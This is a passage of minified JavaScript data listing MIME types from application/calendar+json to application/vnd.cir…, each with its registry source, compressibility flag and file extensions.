",charset:"UTF-8",compressible:!0},"application/calendar+json":{source:"iana",compressible:!0},"application/calendar+xml":{source:"iana",compressible:!0,extensions:["xcs"]},"application/call-completion":{source:"iana"},"application/cals-1840":{source:"iana"},"application/captive+json":{source:"iana",compressible:!0},"application/cbor":{source:"iana"},"application/cbor-seq":{source:"iana"},"application/cccex":{source:"iana"},"application/ccmp+xml":{source:"iana",compressible:!0},"application/ccxml+xml":{source:"iana",compressible:!0,extensions:["ccxml"]},"application/cdfx+xml":{source:"iana",compressible:!0,extensions:["cdfx"]},"application/cdmi-capability":{source:"iana",extensions:["cdmia"]},"application/cdmi-container":{source:"iana",extensions:["cdmic"]},"application/cdmi-domain":{source:"iana",extensions:["cdmid"]},"application/cdmi-object":{source:"iana",extensions:["cdmio"]},"application/cdmi-queue":{source:"iana",extensions:["cdmiq"]},"application/cdni":{source:"iana"},"application/cea":{source:"iana"},"application/cea-2018+xml":{source:"iana",compressible:!0},"application/cellml+xml":{source:"iana",compressible:!0},"application/cfw":{source:"iana"},"application/city+json":{source:"iana",compressible:!0},"application/clr":{source:"iana"},"application/clue+xml":{source:"iana",compressible:!0},"application/clue_info+xml":{source:"iana",compressible:!0},"application/cms":{source:"iana"},"application/cnrp+xml":{source:"iana",compressible:!0},"application/coap-group+json":{source:"iana",compressible:!0},"application/coap-payload":{source:"iana"},"application/commonground":{source:"iana"},"application/conference-info+xml":{source:"iana",compressible:!0},"application/cose":{source:"iana"},"application/cose-key":{source:"iana"},"application/cose-key-set":{source:"iana"},"application/cpl+xml":{source:"iana",compressible:!0,extensions:["cpl"]},"application/csrattrs":{source:"iana"},"application/csta+xml":{source:"iana",compressible:!0},"application/cstadata+xml":{source:"iana",compressible:!0},"application/csvm+json":{source:"iana",compressible:!0},"application/cu-seeme":{source:"apache",extensions:["cu"]},"application/cwt":{source:"iana"},"application/cybercash":{source:"iana"},"application/dart":{compressible:!0},"application/dash+xml":{source:"iana",compressible:!0,extensions:["mpd"]},"application/dash-patch+xml":{source:"iana",compressible:!0,extensions:["mpp"]},"application/dashdelta":{source:"iana"},"application/davmount+xml":{source:"iana",compressible:!0,extensions:["davmount"]},"application/dca-rft":{source:"iana"},"application/dcd":{source:"iana"},"application/dec-dx":{source:"iana"},"application/dialog-info+xml":{source:"iana",compressible:!0},"application/dicom":{source:"iana"},"application/dicom+json":{source:"iana",compressible:!0},"application/dicom+xml":{source:"iana",compressible:!0},"application/dii":{source:"iana"},"application/dit":{source:"iana"},"application/dns":{source:"iana"},"application/dns+json":{source:"iana",compressible:!0},"application/dns-message":{source:"iana"},"application/docbook+xml":{source:"apache",compressible:!0,extensions:["dbk"]},"application/dots+cbor":{source:"iana"},"application/dskpp+xml":{source:"iana",compressible:!0},"application/dssc+der":{source:"iana",extensions:["dssc"]},"application/dssc+xml":{source:"iana",compressible:!0,extensions:["xdssc"]},"application/dvcs":{source:"iana"},"application/ecmascript":{source:"iana",compressible:!0,extensions:["es","ecma"]},"application/edi-consent":{source:"iana"},"application/edi-x12":{source:"iana",compressible:!1},"application/edifact":{source:"iana",compressible:!1},"application/efi":{source:"iana"},"application/elm+json":{source:"iana",charset:"UTF-8",compressible:!0},"application/elm+xml":{source:"iana",compressible:!0},"application/emergencycalldata.cap+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/emergencycalldata.comment+xml":{source:"iana",compressible:!0},"application/emergencycalldata.control+xml":{source:"iana",compressible:!0},"application/emergencycalldata.deviceinfo+xml":{source:"iana",compressible:!0},"application/emergencycalldata.ecall.msd":{source:"iana"},"application/emergencycalldata.providerinfo+xml":{source:"iana",compressible:!0},"application/emergencycalldata.serviceinfo+xml":{source:"iana",compressible:!0},"application/emergencycalldata.subscriberinfo+xml":{source:"iana",compressible:!0},"application/emergencycalldata.veds+xml":{source:"iana",compressible:!0},"application/emma+xml":{source:"iana",compressible:!0,extensions:["emma"]},"application/emotionml+xml":{source:"iana",compressible:!0,extensions:["emotionml"]},"application/encaprtp":{source:"iana"},"application/epp+xml":{source:"iana",compressible:!0},"application/epub+zip":{source:"iana",compressible:!1,extensions:["epub"]},"application/eshop":{source:"iana"},"application/exi":{source:"iana",extensions:["exi"]},"application/expect-ct-report+json":{source:"iana",compressible:!0},"application/express":{source:"iana",extensions:["exp"]},"application/fastinfoset":{source:"iana"},"application/fastsoap":{source:"iana"},"application/fdt+xml":{source:"iana",compressible:!0,extensions:["fdt"]},"application/fhir+json":{source:"iana",charset:"UTF-8",compressible:!0},"application/fhir+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/fido.trusted-apps+json":{compressible:!0},"application/fits":{source:"iana"},"application/flexfec":{source:"iana"},"application/font-sfnt":{source:"iana"},"application/font-tdpfr":{source:"iana",extensions:["pfr"]},"application/font-woff":{source:"iana",compressible:!1},"application/framework-attributes+xml":{source:"iana",compressible:!0},"application/geo+json":{source:"iana",compressible:!0,extensions:["geojson"]},"application/geo+json-seq":{source:"iana"},"application/geopackage+sqlite3":{source:"iana"},"application/geoxacml+xml":{source:"iana",compressible:!0},"application/gltf-buffer":{source:"iana"},"application/gml+xml":{source:"iana",compressible:!0,extensions:["gml"]},"application/gpx+xml":{source:"apache",compressible:!0,extensions:["gpx"]},"application/gxf":{source:"apache",extensions:["gxf"]},"application/gzip":{source:"iana",compressible:!1,extensions:["gz"]},"application/h224":{source:"iana"},"application/held+xml":{source:"iana",compressible:!0},"application/hjson":{extensions:["hjson"]},"application/http":{source:"iana"},"application/hyperstudio":{source:"iana",extensions:["stk"]},"application/ibe-key-request+xml":{source:"iana",compressible:!0},"application/ibe-pkg-reply+xml":{source:"iana",compressible:!0},"application/ibe-pp-data":{source:"iana"},"application/iges":{source:"iana"},"application/im-iscomposing+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/index":{source:"iana"},"application/index.cmd":{source:"iana"},"application/index.obj":{source:"iana"},"application/index.response":{source:"iana"},"application/index.vnd":{source:"iana"},"application/inkml+xml":{source:"iana",compressible:!0,extensions:["ink","inkml"]},"application/iotp":{source:"iana"},"application/ipfix":{source:"iana",extensions:["ipfix"]},"application/ipp":{source:"iana"},"application/isup":{source:"iana"},"application/its+xml":{source:"iana",compressible:!0,extensions:["its"]},"application/java-archive":{source:"apache",compressible:!1,extensions:["jar","war","ear"]},"application/java-serialized-object":{source:"apache",compressible:!1,extensions:["ser"]},"application/java-vm":{source:"apache",compressible:!1,extensions:["class"]},"application/javascript":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["js","mjs"]},"application/jf2feed+json":{source:"iana",compressible:!0},"application/jose":{source:"iana"},"application/jose+json":{source:"iana",compressible:!0},"application/jrd+json":{source:"iana",compressible:!0},"application/jscalendar+json":{source:"iana",compressible:!0},"application/json":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["json","map"]},"application/json-patch+json":{source:"iana",compressible:!0},"application/json-seq":{source:"iana"},"application/json5":{extensions:["json5"]},"application/jsonml+json":{source:"apache",compressible:!0,extensions:["jsonml"]},"application/jwk+json":{source:"iana",compressible:!0},"application/jwk-set+json":{source:"iana",compressible:!0},"application/jwt":{source:"iana"},"application/kpml-request+xml":{source:"iana",compressible:!0},"application/kpml-response+xml":{source:"iana",compressible:!0},"application/ld+json":{source:"iana",compressible:!0,extensions:["jsonld"]},"application/lgr+xml":{source:"iana",compressible:!0,extensions:["lgr"]},"application/link-format":{source:"iana"},"application/load-control+xml":{source:"iana",compressible:!0},"application/lost+xml":{source:"iana",compressible:!0,extensions:["lostxml"]},"application/lostsync+xml":{source:"iana",compressible:!0},"application/lpf+zip":{source:"iana",compressible:!1},"application/lxf":{source:"iana"},"application/mac-binhex40":{source:"iana",extensions:["hqx"]},"application/mac-compactpro":{source:"apache",extensions:["cpt"]},"application/macwriteii":{source:"iana"},"application/mads+xml":{source:"iana",compressible:!0,extensions:["mads"]},"application/manifest+json":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["webmanifest"]},"application/marc":{source:"iana",extensions:["mrc"]},"application/marcxml+xml":{source:"iana",compressible:!0,extensions:["mrcx"]},"application/mathematica":{source:"iana",extensions:["ma","nb","mb"]},"application/mathml+xml":{source:"iana",compressible:!0,extensions:["mathml"]},"application/mathml-content+xml":{source:"iana",compressible:!0},"application/mathml-presentation+xml":{source:"iana",compressible:!0},"application/mbms-associated-procedure-description+xml":{source:"iana",compressible:!0},"application/mbms-deregister+xml":{source:"iana",compressible:!0},"application/mbms-envelope+xml":{source:"iana",compressible:!0},"application/mbms-msk+xml":{source:"iana",compressible:!0},"application/mbms-msk-response+xml":{source:"iana",compressible:!0},"application/mbms-protection-description+xml":{source:"iana",compressible:!0},"application/mbms-reception-report+xml":{source:"iana",compressible:!0},"application/mbms-register+xml":{source:"iana",compressible:!0},"application/mbms-register-response+xml":{source:"iana",compressible:!0},"application/mbms-schedule+xml":{source:"iana",compressible:!0},"application/mbms-user-service-description+xml":{source:"iana",compressible:!0},"application/mbox":{source:"iana",extensions:["mbox"]},"application/media-policy-dataset+xml":{source:"iana",compressible:!0,extensions:["mpf"]},"application/media_control+xml":{source:"iana",compressible:!0},"application/mediaservercontrol+xml":{source:"iana",compressible:!0,extensions:["mscml"]},"application/merge-patch+json":{source:"iana",compressible:!0},"application/metalink+xml":{source:"apache",compressible:!0,extensions:["metalink"]},"application/metalink4+xml":{source:"iana",compressible:!0,extensions:["meta4"]},"application/mets+xml":{source:"iana",compressible:!0,extensions:["mets"]},"application/mf4":{source:"iana"},"application/mikey":{source:"iana"},"application/mipc":{source:"iana"},"application/missing-blocks+cbor-seq":{source:"iana"},"application/mmt-aei+xml":{source:"iana",compressible:!0,extensions:["maei"]},"application/mmt-usd+xml":{source:"iana",compressible:!0,extensions:["musd"]},"application/mods+xml":{source:"iana",compressible:!0,extensions:["mods"]},"application/moss-keys":{source:"iana"},"application/moss-signature":{source:"iana"},"application/mosskey-data":{source:"iana"},"application/mosskey-request":{source:"iana"},"application/mp21":{source:"iana",extensions:["m21","mp21"]},"application/mp4":{source:"iana",extensions:["mp4s","m4p"]},"application/mpeg4-generic":{source:"iana"},"application/mpeg4-iod":{source:"iana"},"application/mpeg4-iod-xmt":{source:"iana"},"application/mrb-consumer+xml":{source:"iana",compressible:!0},"application/mrb-publish+xml":{source:"iana",compressible:!0},"application/msc-ivr+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/msc-mixer+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/msword":{source:"iana",compressible:!1,extensions:["doc","dot"]},"application/mud+json":{source:"iana",compressible:!0},"application/multipart-core":{source:"iana"},"application/mxf":{source:"iana",extensions:["mxf"]},"application/n-quads":{source:"iana",extensions:["nq"]},"application/n-triples":{source:"iana",extensions:["nt"]},"application/nasdata":{source:"iana"},"application/news-checkgroups":{source:"iana",charset:"US-ASCII"},"application/news-groupinfo":{source:"iana",charset:"US-ASCII"},"application/news-transmission":{source:"iana"},"application/nlsml+xml":{source:"iana",compressible:!0},"application/node":{source:"iana",extensions:["cjs"]},"application/nss":{source:"iana"},"application/oauth-authz-req+jwt":{source:"iana"},"application/oblivious-dns-message":{source:"iana"},"application/ocsp-request":{source:"iana"},"application/ocsp-response":{source:"iana"},"application/octet-stream":{source:"iana",compressible:!1,extensions:["bin","dms","lrf","mar","so","dist","distz","pkg","bpk","dump","elc","deploy","exe","dll","deb","dmg","iso","img","msi","msp","msm","buffer"]},"application/oda":{source:"iana",extensions:["oda"]},"application/odm+xml":{source:"iana",compressible:!0},"application/odx":{source:"iana"},"application/oebps-package+xml":{source:"iana",compressible:!0,extensions:["opf"]},"application/ogg":{source:"iana",compressible:!1,extensions:["ogx"]},"application/omdoc+xml":{source:"apache",compressible:!0,extensions:["omdoc"]},"application/onenote":{source:"apache",extensions:["onetoc","onetoc2","onetmp","onepkg"]},"application/opc-nodeset+xml":{source:"iana",compressible:!0},"application/oscore":{source:"iana"},"application/oxps":{source:"iana",extensions:["oxps"]},"application/p21":{source:"iana"},"application/p21+zip":{source:"iana",compressible:!1},"application/p2p-overlay+xml":{source:"iana",compressible:!0,extensions:["relo"]},"application/parityfec":{source:"iana"},"application/passport":{source:"iana"},"application/patch-ops-error+xml":{source:"iana",compressible:!0,extensions:["xer"]},"application/pdf":{source:"iana",compressible:!1,extensions:["pdf"]},"application/pdx":{source:"iana"},"application/pem-certificate-chain":{source:"iana"},"application/pgp-encrypted":{source:"iana",compressible:!1,extensions:["pgp"]},"application/pgp-keys":{source:"iana",extensions:["asc"]},"application/pgp-signature":{source:"iana",extensions:["asc","sig"]},"application/pics-rules":{source:"apache",extensions:["prf"]},"application/pidf+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/pidf-diff+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/pkcs10":{source:"iana",extensions:["p10"]},"application/pkcs12":{source:"iana"},"application/pkcs7-mime":{source:"iana",extensions:["p7m","p7c"]},"application/pkcs7-signature":{source:"iana",extensions:["p7s"]},"application/pkcs8":{source:"iana",extensions:["p8"]},"application/pkcs8-encrypted":{source:"iana"},"application/pkix-attr-cert":{source:"iana",extensions:["ac"]},"application/pkix-cert":{source:"iana",extensions:["cer"]},"application/pkix-crl":{source:"iana",extensions:["crl"]},"application/pkix-pkipath":{source:"iana",extensions:["pkipath"]},"application/pkixcmp":{source:"iana",extensions:["pki"]},"application/pls+xml":{source:"iana",compressible:!0,extensions:["pls"]},"application/poc-settings+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/postscript":{source:"iana",compressible:!0,extensions:["ai","eps","ps"]},"application/ppsp-tracker+json":{source:"iana",compressible:!0},"application/problem+json":{source:"iana",compressible:!0},"application/problem+xml":{source:"iana",compressible:!0},"application/provenance+xml":{source:"iana",compressible:!0,extensions:["provx"]},"application/prs.alvestrand.titrax-sheet":{source:"iana"},"application/prs.cww":{source:"iana",extensions:["cww"]},"application/prs.cyn":{source:"iana",charset:"7-BIT"},"application/prs.hpub+zip":{source:"iana",compressible:!1},"application/prs.nprend":{source:"iana"},"application/prs.plucker":{source:"iana"},"application/prs.rdf-xml-crypt":{source:"iana"},"application/prs.xsf+xml":{source:"iana",compressible:!0},"application/pskc+xml":{source:"iana",compressible:!0,extensions:["pskcxml"]},"application/pvd+json":{source:"iana",compressible:!0},"application/qsig":{source:"iana"},"application/raml+yaml":{compressible:!0,extensions:["raml"]},"application/raptorfec":{source:"iana"},"application/rdap+json":{source:"iana",compressible:!0},"application/rdf+xml":{source:"iana",compressible:!0,extensions:["rdf","owl"]},"application/reginfo+xml":{source:"iana",compressible:!0,extensions:["rif"]},"application/relax-ng-compact-syntax":{source:"iana",extensions:["rnc"]},"application/remote-printing":{source:"iana"},"application/reputon+json":{source:"iana",compressible:!0},"application/resource-lists+xml":{source:"iana",compressible:!0,extensions:["rl"]},"application/resource-lists-diff+xml":{source:"iana",compressible:!0,extensions:["rld"]},"application/rfc+xml":{source:"iana",compressible:!0},"application/riscos":{source:"iana"},"application/rlmi+xml":{source:"iana",compressible:!0},"application/rls-services+xml":{source:"iana",compressible:!0,extensions:["rs"]},"application/route-apd+xml":{source:"iana",compressible:!0,extensions:["rapd"]},"application/route-s-tsid+xml":{source:"iana",compressible:!0,extensions:["sls"]},"application/route-usd+xml":{source:"iana",compressible:!0,extensions:["rusd"]},"application/rpki-ghostbusters":{source:"iana",extensions:["gbr"]},"application/rpki-manifest":{source:"iana",extensions:["mft"]},"application/rpki-publication":{source:"iana"},"application/rpki-roa":{source:"iana",extensions:["roa"]},"application/rpki-updown":{source:"iana"},"application/rsd+xml":{source:"apache",compressible:!0,extensions:["rsd"]},"application/rss+xml":{source:"apache",compressible:!0,extensions:["rss"]},"application/rtf":{source:"iana",compressible:!0,extensions:["rtf"]},"application/rtploopback":{source:"iana"},"application/rtx":{source:"iana"},"application/samlassertion+xml":{source:"iana",compressible:!0},"application/samlmetadata+xml":{source:"iana",compressible:!0},"application/sarif+json":{source:"iana",compressible:!0},"application/sarif-external-properties+json":{source:"iana",compressible:!0},"application/sbe":{source:"iana"},"application/sbml+xml":{source:"iana",compressible:!0,extensions:["sbml"]},"application/scaip+xml":{source:"iana",compressible:!0},"application/scim+json":{source:"iana",compressible:!0},"application/scvp-cv-request":{source:"iana",extensions:["scq"]},"application/scvp-cv-response":{source:"iana",extensions:["scs"]},"application/scvp-vp-request":{source:"iana",extensions:["spq"]},"application/scvp-vp-response":{source:"iana",extensions:["spp"]},"application/sdp":{source:"iana",extensions:["sdp"]},"application/secevent+jwt":{source:"iana"},"application/senml+cbor":{source:"iana"},"application/senml+json":{source:"iana",compressible:!0},"application/senml+xml":{source:"iana",compressible:!0,extensions:["senmlx"]},"application/senml-etch+cbor":{source:"iana"},"application/senml-etch+json":{source:"iana",compressible:!0},"application/senml-exi":{source:"iana"},"application/sensml+cbor":{source:"iana"},"application/sensml+json":{source:"iana",compressible:!0},"application/sensml+xml":{source:"iana",compressible:!0,extensions:["sensmlx"]},"application/sensml-exi":{source:"iana"},"application/sep+xml":{source:"iana",compressible:!0},"application/sep-exi":{source:"iana"},"application/session-info":{source:"iana"},"application/set-payment":{source:"iana"},"application/set-payment-initiation":{source:"iana",extensions:["setpay"]},"application/set-registration":{source:"iana"},"application/set-registration-initiation":{source:"iana",extensions:["setreg"]},"application/sgml":{source:"iana"},"application/sgml-open-catalog":{source:"iana"},"application/shf+xml":{source:"iana",compressible:!0,extensions:["shf"]},"application/sieve":{source:"iana",extensions:["siv","sieve"]},"application/simple-filter+xml":{source:"iana",compressible:!0},"application/simple-message-summary":{source:"iana"},"application/simplesymbolcontainer":{source:"iana"},"application/sipc":{source:"iana"},"application/slate":{source:"iana"},"application/smil":{source:"iana"},"application/smil+xml":{source:"iana",compressible:!0,extensions:["smi","smil"]},"application/smpte336m":{source:"iana"},"application/soap+fastinfoset":{source:"iana"},"application/soap+xml":{source:"iana",compressible:!0},"application/sparql-query":{source:"iana",extensions:["rq"]},"application/sparql-results+xml":{source:"iana",compressible:!0,extensions:["srx"]},"application/spdx+json":{source:"iana",compressible:!0},"application/spirits-event+xml":{source:"iana",compressible:!0},"application/sql":{source:"iana"},"application/srgs":{source:"iana",extensions:["gram"]},"application/srgs+xml":{source:"iana",compressible:!0,extensions:["grxml"]},"application/sru+xml":{source:"iana",compressible:!0,extensions:["sru"]},"application/ssdl+xml":{source:"apache",compressible:!0,extensions:["ssdl"]},"application/ssml+xml":{source:"iana",compressible:!0,extensions:["ssml"]},"application/stix+json":{source:"iana",compressible:!0},"application/swid+xml":{source:"iana",compressible:!0,extensions:["swidtag"]},"application/tamp-apex-update":{source:"iana"},"application/tamp-apex-update-confirm":{source:"iana"},"application/tamp-community-update":{source:"iana"},"application/tamp-community-update-confirm":{source:"iana"},"application/tamp-error":{source:"iana"},"application/tamp-sequence-adjust":{source:"iana"},"application/tamp-sequence-adjust-confirm":{source:"iana"},"application/tamp-status-query":{source:"iana"},"application/tamp-status-response":{source:"iana"},"application/tamp-update":{source:"iana"},"application/tamp-update-confirm":{source:"iana"},"application/tar":{compressible:!0},"application/taxii+json":{source:"iana",compressible:!0},"application/td+json":{source:"iana",compressible:!0},"application/tei+xml":{source:"iana",compressible:!0,extensions:["tei","teicorpus"]},"application/tetra_isi":{source:"iana"},"application/thraud+xml":{source:"iana",compressible:!0,extensions:["tfi"]},"application/timestamp-query":{source:"iana"},"application/timestamp-reply":{source:"iana"},"application/timestamped-data":{source:"iana",extensions:["tsd"]},"application/tlsrpt+gzip":{source:"iana"},"application/tlsrpt+json":{source:"iana",compressible:!0},"application/tnauthlist":{source:"iana"},"application/token-introspection+jwt":{source:"iana"},"application/toml":{compressible:!0,extensions:["toml"]},"application/trickle-ice-sdpfrag":{source:"iana"},"application/trig":{source:"iana",extensions:["trig"]},"application/ttml+xml":{source:"iana",compressible:!0,extensions:["ttml"]},"application/tve-trigger":{source:"iana"},"application/tzif":{source:"iana"},"application/tzif-leap":{source:"iana"},"application/ubjson":{compressible:!1,extensions:["ubj"]},"application/ulpfec":{source:"iana"},"application/urc-grpsheet+xml":{source:"iana",compressible:!0},"application/urc-ressheet+xml":{source:"iana",compressible:!0,extensions:["rsheet"]},"application/urc-targetdesc+xml":{source:"iana",compressible:!0,extensions:["td"]},"application/urc-uisocketdesc+xml":{source:"iana",compressible:!0},"application/vcard+json":{source:"iana",compressible:!0},"application/vcard+xml":{source:"iana",compressible:!0},"application/vemmi":{source:"iana"},"application/vividence.scriptfile":{source:"apache"},"application/vnd.1000minds.decision-model+xml":{source:"iana",compressible:!0,extensions:["1km"]},"application/vnd.3gpp-prose+xml":{source:"iana",compressible:!0},"application/vnd.3gpp-prose-pc3ch+xml":{source:"iana",compressible:!0},"application/vnd.3gpp-v2x-local-service-information":{source:"iana"},"application/vnd.3gpp.5gnas":{source:"iana"},"application/vnd.3gpp.access-transfer-events+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.bsf+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.gmop+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.gtpc":{source:"iana"},"application/vnd.3gpp.interworking-data":{source:"iana"},"application/vnd.3gpp.lpp":{source:"iana"},"application/vnd.3gpp.mc-signalling-ear":{source:"iana"},"application/vnd.3gpp.mcdata-affiliation-command+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcdata-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcdata-payload":{source:"iana"},"application/vnd.3gpp.mcdata-service-config+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcdata-signalling":{source:"iana"},"application/vnd.3gpp.mcdata-ue-config+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcdata-user-profile+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-affiliation-command+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-floor-request+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-location-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-mbms-usage-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-service-config+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-signed+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-ue-config+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-ue-init-config+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-user-profile+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-affiliation-command+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-affiliation-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-location-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-mbms-usage-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-service-config+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-transmission-request+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-ue-config+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-user-profile+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mid-call+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.ngap":{source:"iana"},"application/vnd.3gpp.pfcp":{source:"iana"},"application/vnd.3gpp.pic-bw-large":{source:"iana",extensions:["plb"]},"application/vnd.3gpp.pic-bw-small":{source:"iana",extensions:["psb"]},"application/vnd.3gpp.pic-bw-var":{source:"iana",extensions:["pvb"]},"application/vnd.3gpp.s1ap":{source:"iana"},"application/vnd.3gpp.sms":{source:"iana"},"application/vnd.3gpp.sms+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.srvcc-ext+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.srvcc-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.state-and-event-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.ussd+xml":{source:"iana",compressible:!0},"application/vnd.3gpp2.bcmcsinfo+xml":{source:"iana",compressible:!0},"application/vnd.3gpp2.sms":{source:"iana"},"application/vnd.3gpp2.tcap":{source:"iana",extensions:["tcap"]},"application/vnd.3lightssoftware.imagescal":{source:"iana"},"application/vnd.3m.post-it-notes":{source:"iana",extensions:["pwn"]},"application/vnd.accpac.simply.aso":{source:"iana",extensions:["aso"]},"application/vnd.accpac.simply.imp":{source:"iana",extensions:["imp"]},"application/vnd.acucobol":{source:"iana",extensions:["acu"]},"application/vnd.acucorp":{source:"iana",extensions:["atc","acutc"]},"application/vnd.adobe.air-application-installer-package+zip":{source:"apache",compressible:!1,extensions:["air"]},"application/vnd.adobe.flash.movie":{source:"iana"},"application/vnd.adobe.formscentral.fcdt":{source:"iana",extensions:["fcdt"]},"application/vnd.adobe.fxp":{source:"iana",extensions:["fxp","fxpl"]},"application/vnd.adobe.partial-upload":{source:"iana"},"application/vnd.adobe.xdp+xml":{source:"iana",compressible:!0,extensions:["xdp"]},"application/vnd.adobe.xfdf":{source:"iana",extensions:["xfdf"]},"application/vnd.aether.imp":{source:"iana"},"application/vnd.afpc.afplinedata":{source:"iana"},"application/vnd.afpc.afplinedata-pagedef":{source:"iana"},"application/vnd.afpc.cmoca-cmresource":{source:"iana"},"application/vnd.afpc.foca-charset":{source:"iana"},"application/vnd.afpc.foca-codedfont":{source:"iana"},"application/vnd.afpc.foca-codepage":{source:"iana"},"application/vnd.afpc.modca":{source:"iana"},"application/vnd.afpc.modca-cmtable":{source:"iana"},"application/vnd.afpc.modca-formdef":{source:"iana"},"application/vnd.afpc.modca-mediummap":{source:"iana"},"application/vnd.afpc.modca-objectcontainer":{source:"iana"},"application/vnd.afpc.modca-overlay":{source:"iana"},"application/vnd.afpc.modca-pagesegment":{source:"iana"},"application/vnd.age":{source:"iana",extensions:["age"]},"application/vnd.ah-barcode":{source:"iana"},"application/vnd.ahead.space":{source:"iana",extensions:["ahead"]},"application/vnd.airzip.filesecure.azf":{source:"iana",extensions:["azf"]},"application/vnd.airzip.filesecure.azs":{source:"iana",extensions:["azs"]},"application/vnd.amadeus+json":{source:"iana",compressible:!0},"application/vnd.amazon.ebook":{source:"apache",extensions:["azw"]},"application/vnd.amazon.mobi8-ebook":{source:"iana"},"application/vnd.americandynamics.acc":{source:"iana",extensions:["acc"]},"application/vnd.amiga.ami":{source:"iana",extensions:["ami"]},"application/vnd.amundsen.maze+xml":{source:"iana",compressible:!0},"application/vnd.android.ota":{source:"iana"},"application/vnd.android.package-archive":{source:"apache",compressible:!1,extensions:["apk"]},"application/vnd.anki":{source:"iana"},"application/vnd.anser-web-certificate-issue-initiation":{source:"iana",extensions:["cii"]},"application/vnd.anser-web-funds-transfer-initiation":{source:"apache",extensions:["fti"]},"application/vnd.antix.game-component":{source:"iana",extensions:["atx"]},"application/vnd.apache.arrow.file":{source:"iana"},"application/vnd.apache.arrow.stream":{source:"iana"},"application/vnd.apache.thrift.binary":{source:"iana"},"application/vnd.apache.thrift.compact":{source:"iana"},"application/vnd.apache.thrift.json":{source:"iana"},"application/vnd.api+json":{source:"iana",compressible:!0},"application/vnd.aplextor.warrp+json":{source:"iana",compressible:!0},"application/vnd.apothekende.reservation+json":{source:"iana",compressible:!0},"application/vnd.apple.installer+xml":{source:"iana",compressible:!0,extensions:["mpkg"]},"application/vnd.apple.keynote":{source:"iana",extensions:["key"]},"application/vnd.apple.mpegurl":{source:"iana",extensions:["m3u8"]},"application/vnd.apple.numbers":{source:"iana",extensions:["numbers"]},"application/vnd.apple.pages":{source:"iana",extensions:["pages"]},"application/vnd.apple.pkpass":{compressible:!1,extensions:["pkpass"]},"application/vnd.arastra.swi":{source:"iana"},"application/vnd.aristanetworks.swi":{source:"iana",extensions:["swi"]},"application/vnd.artisan+json":{source:"iana",compressible:!0},"application/vnd.artsquare":{source:"iana"},"application/vnd.astraea-software.iota":{source:"iana",extensions:["iota"]},"application/vnd.audiograph":{source:"iana",extensions:["aep"]},"application/vnd.autopackage":{source:"iana"},"application/vnd.avalon+json":{source:"iana",compressible:!0},"application/vnd.avistar+xml":{source:"iana",compressible:!0},"application/vnd.balsamiq.bmml+xml":{source:"iana",compressible:!0,extensions:["bmml"]},"application/vnd.balsamiq.bmpr":{source:"iana"},"application/vnd.banana-accounting":{source:"iana"},"application/vnd.bbf.usp.error":{source:"iana"},"application/vnd.bbf.usp.msg":{source:"iana"},"application/vnd.bbf.usp.msg+json":{source:"iana",compressible:!0},"application/vnd.bekitzur-stech+json":{source:"iana",compressible:!0},"application/vnd.bint.med-content":{source:"iana"},"application/vnd.biopax.rdf+xml":{source:"iana",compressible:!0},"application/vnd.blink-idb-value-wrapper":{source:"iana"},"application/vnd.blueice.multipass":{source:"iana",extensions:["mpm"]},"application/vnd.bluetooth.ep.oob":{source:"iana"},"application/vnd.bluetooth.le.oob":{source:"iana"},"application/vnd.bmi":{source:"iana",extensions:["bmi"]},"application/vnd.bpf":{source:"iana"},"application/vnd.bpf3":{source:"iana"},"application/vnd.businessobjects":{source:"iana",extensions:["rep"]},"application/vnd.byu.uapi+json":{source:"iana",compressible:!0},"application/vnd.cab-jscript":{source:"iana"},"application/vnd.canon-cpdl":{source:"iana"},"application/vnd.canon-lips":{source:"iana"},"application/vnd.capasystems-pg+json":{source:"iana",compressible:!0},"application/vnd.cendio.thinlinc.clientconf":{source:"iana"},"application/vnd.century-systems.tcp_stream":{source:"iana"},"application/vnd.chemdraw+xml":{source:"iana",compressible:!0,extensions:["cdxml"]},"application/vnd.chess-pgn":{source:"iana"},"application/vnd.chipnuts.karaoke-mmd":{source:"iana",extensions:["mmd"]},"application/vnd.ciedi":{source:"iana"},"application/vnd.cinderella":{source:"iana",extensions:["cdy"]},"application/vnd.cir